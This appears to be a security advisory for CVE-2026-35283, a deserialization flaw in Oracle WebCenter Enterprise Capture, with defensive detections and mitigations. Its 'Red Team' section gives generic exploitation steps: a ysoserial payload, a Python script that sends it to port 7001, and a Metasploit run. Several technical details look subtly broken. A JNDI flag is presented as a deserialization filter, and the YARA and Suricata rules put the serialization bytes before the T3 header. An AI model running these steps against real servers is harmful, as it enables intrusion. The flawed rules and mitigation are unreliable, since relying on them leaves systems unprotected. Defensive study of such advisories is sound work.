CVE-2026-35283

Executive Summary

CVE-2026-35283 is a critical deserialization vulnerability in Oracle WebCenter Enterprise Capture, affecting versions 12.2.1.4.0 and 14.1.2.0.0. The flaw resides in the Client Bundle component and is exploitable via T3 and IIOP protocols. A low-privileged attacker with network access can achieve remote code execution, leading to full system takeover. The CVSS score of 9.9 reflects the ease of exploitation, low privileges required, and severe impact on confidentiality, integrity, and availability. No public proof-of-concept or patch exists, but mitigation involves disabling insecure protocols and applying network controls.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects Oracle Fusion Middleware, a proprietary enterprise software suite. No open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L)
• User Interaction: None (UI:N)
• Scope: Changed (S:C) – impacts other products
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability allows a low-privileged attacker to achieve full remote code execution without user interaction. The scope change indicates that the attack can propagate to other systems, making it a high-priority target for threat actors.

Deep Dive & Mechanics

The vulnerability is a deserialization flaw in the T3 and IIOP protocol handlers of Oracle WebCenter Enterprise Capture. These protocols are used for Java RMI communication. The Client Bundle component fails to properly validate serialized objects before deserialization, allowing an attacker to craft malicious payloads that execute arbitrary code on the server.

Root Cause: The application uses Java deserialization without proper filtering or whitelisting. The T3 and IIOP protocols are enabled by default, exposing the deserialization endpoint to network attackers.

Attack Vector: An attacker sends a crafted serialized Java object over T3 or IIOP to the vulnerable service. The server deserializes the object, triggering the execution of arbitrary code.

Impact: Successful exploitation leads to complete compromise of the Oracle WebCenter Enterprise Capture server. Due to scope change, the attacker may pivot to other systems in the same network.

Vulnerable vs. Patched Code

No official patch is available. The vulnerable code relies on insecure deserialization of Java objects. A patched version would implement a whitelist of allowed classes or use a secure deserialization filter.

Vulnerable Code (Conceptual):

// Vulnerable: No validation before deserialization
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
Object obj = ois.readObject(); // Unsafe

Patched Code (Conceptual):

// Patched: Use a whitelist filter
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("java.lang.*;!*");
ObjectInputStream ois = new ObjectInputStream(socket.getInputStream());
ois.setObjectInputFilter(filter);
Object obj = ois.readObject(); // Safe

Exploitation & Lab Setup

Red Team

Prerequisites:

• Oracle WebCenter Enterprise Capture 12.2.1.4.0 or 14.1.2.0.0
• Network access to T3 (port 7001) or IIOP (port 14000) endpoints
• Low-privileged credentials (optional, but required for some attack paths)

Exploitation Steps:

1. Identify the target using Shodan or Nmap:

   nmap -p 7001,14000 --open <target>
   

2. Use a Java deserialization tool like ysoserial to generate a payload:

   java -jar ysoserial.jar CommonsCollections1 'cmd /c calc.exe' > payload.ser
   

3. Send the payload over T3 using a custom script:

   import socket
   s = socket.socket()
   s.connect(('target', 7001))
   with open('payload.ser', 'rb') as f:
       s.send(f.read())
   s.close()
   

4. Alternatively, use Metasploit module exploit/multi/misc/java_deserialization:

   use exploit/multi/misc/java_deserialization
   set RHOSTS target
   set RPORT 7001
   set TARGET 0
   run
   

Note: No public exploit code is available; the above is a generic approach.

Blue Team

Detection Steps:

1. Monitor for unusual T3/IIOP traffic on ports 7001 and 14000.
2. Enable logging on Oracle WebCenter to capture deserialization attempts.
3. Use network segmentation to restrict access to these ports.
4. Deploy a Web Application Firewall (WAF) with rules to block serialized Java objects.

Honeypot Setup:

• Deploy a fake Oracle WebCenter instance on a separate network segment.
• Log all incoming T3/IIOP connections and payloads for analysis.

Indicators of Compromise (IOCs)

Network IOCs:

• Unusual T3/IIOP traffic on ports 7001 and 14000
• Large serialized Java objects in network packets
• Connections from unknown IPs to these ports

Host IOCs:

• Unexpected Java processes or child processes (e.g., cmd.exe, bash)
• New files in temporary directories (e.g., /tmp, %TEMP%)
• Unusual outbound connections from the Oracle WebCenter server

File IOCs:

• Serialized Java payload files (e.g., .ser, .bin)
• Modified or new JAR files in the application directory

Detection Engineering

YARA Rule

rule CVE_2026_35283_Deserialization {
    meta:
        description = "Detects serialized Java objects targeting Oracle WebCenter Enterprise Capture"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-35283"
    strings:
        $java_serial = { AC ED 00 05 }  // Java serialization magic bytes
        $t3_header = { 54 33 20 32 2E 30 }  // "T3 2.0" header
        $iiop_header = { 47 49 4F 50 01 }  // GIOP header
    condition:
        ($java_serial at 0) and ($t3_header or $iiop_header)
}

Sigma Rule

title: CVE-2026-35283 - Oracle WebCenter Deserialization Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects network traffic containing Java serialized objects over T3/IIOP
author: Valters IT
date: 2026-01-01
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        dest_port:
            - 7001
            - 14000
        payload|contains: 
            - 'aced0005'  # Java serialization hex
            - '543320322e30'  # T3 2.0 hex
    condition: selection
falsepositives:
    - Legitimate Oracle WebCenter traffic
level: high

Suricata Rule

alert tcp any any -> any 7001 (msg:"CVE-2026-35283 - Oracle WebCenter T3 Deserialization Attempt"; flow:to_server; content:"|ac ed 00 05|"; depth:4; content:"|54 33 20 32 2e 30|"; distance:0; within:10; classtype:attempted-admin; sid:1000001; rev:1;)
alert tcp any any -> any 14000 (msg:"CVE-2026-35283 - Oracle WebCenter IIOP Deserialization Attempt"; flow:to_server; content:"|ac ed 00 05|"; depth:4; content:"|47 49 4f 50 01|"; distance:0; within:10; classtype:attempted-admin; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable T3 and IIOP protocols if not required:
   • In WebLogic console, navigate to Environment > Servers > [Server Name] > Protocols
   • Uncheck "Enable T3" and "Enable IIOP"
2. Apply network segmentation to restrict access to ports 7001 and 14000.
3. Implement a Web Application Firewall (WAF) with rules to block serialized Java objects.

Long-term Fix:

• Apply vendor patches when available.
• Upgrade to a non-vulnerable version (none currently).
• Use Java deserialization filters (e.g., -Dcom.sun.jndi.ldap.object.trustURLCodebase=false).

Workaround:

• Use a reverse proxy to filter T3/IIOP traffic.
• Monitor logs for suspicious deserialization attempts.

Valters IT